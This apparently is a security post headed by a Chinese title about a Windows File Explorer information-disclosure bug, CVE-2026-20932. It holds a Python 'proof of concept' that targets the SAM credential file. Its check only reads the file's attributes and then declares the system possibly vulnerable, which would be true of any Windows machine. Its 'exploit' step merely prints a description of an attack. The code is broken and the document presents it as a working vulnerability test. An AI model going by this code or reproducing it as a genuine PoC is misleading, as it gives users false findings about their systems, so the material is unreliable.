Windows File Explorer信息泄露漏洞 (CVE-2026-20932)

#!/usr/bin/env python3 """ CVE-2026-20932 PoC - Windows File Explorer Information Disclosure Note: This is a conceptual PoC for educational and security research purposes only. """ import ctypes import os import sys class CVE_2026_20932_POC: def __init__(self): self.target_file = r"C:\Windows\System32\config\SAM" # Sensitive file example self.results = [] def check_vulnerability(self): """ Check if the system is vulnerable to CVE-2026-20932 This checks if File Explorer improperly exposes file metadata/content """ print("[*] Checking vulnerability status for CVE-2026-20932") print(f"[*] Target: {self.target_file}") # Check if target file exists and we can get its info if os.path.exists(self.target_file): print("[+] Target file exists") # Try to read file attributes using Windows API try: # Using ctypes to call Windows API FILE_ATTRIBUTE_HIDDEN = 0x2 FILE_ATTRIBUTE_SYSTEM = 0x4 # GetFileAttributesW API call attributes = ctypes.windll.kernel32.GetFileAttributesW(self.target_file) if attributes != -1: print(f"[+] File attributes retrieved: {hex(attributes)}") print("[+] Vulnerability may be present - low privilege access to sensitive file") return True except Exception as e: print(f"[-] Error: {e}") else: print("[-] Target file not found") return False def exploit(self): """ Conceptual exploitation of CVE-2026-20932 Note: Actual exploitation requires specific Windows API manipulation """ if not self.check_vulnerability(): print("[-] System may not be vulnerable") return False print("\n[*] Simulating File Explorer information disclosure...") print("[*] This would trigger File Explorer to load file content/metadata") print("[*] Without proper permission checks, sensitive data could be exposed") # The actual exploit would involve: # 1. Using IShellFolder or IExtractIcon COM interfaces # 2. Calling SHGetFileInfo with specific flags # 3. Triggering thumbnail generation for protected files # 4. Exploiting preview handler vulnerabilities print("[!] This PoC demonstrates the vulnerability concept only") print("[!] Do not use for unauthorized testing") return True if __name__ == "__main__": if os.name != 'nt': print("[-] This PoC only works on Windows systems") sys.exit(1) poc = CVE_2026_20932_POC() poc.exploit()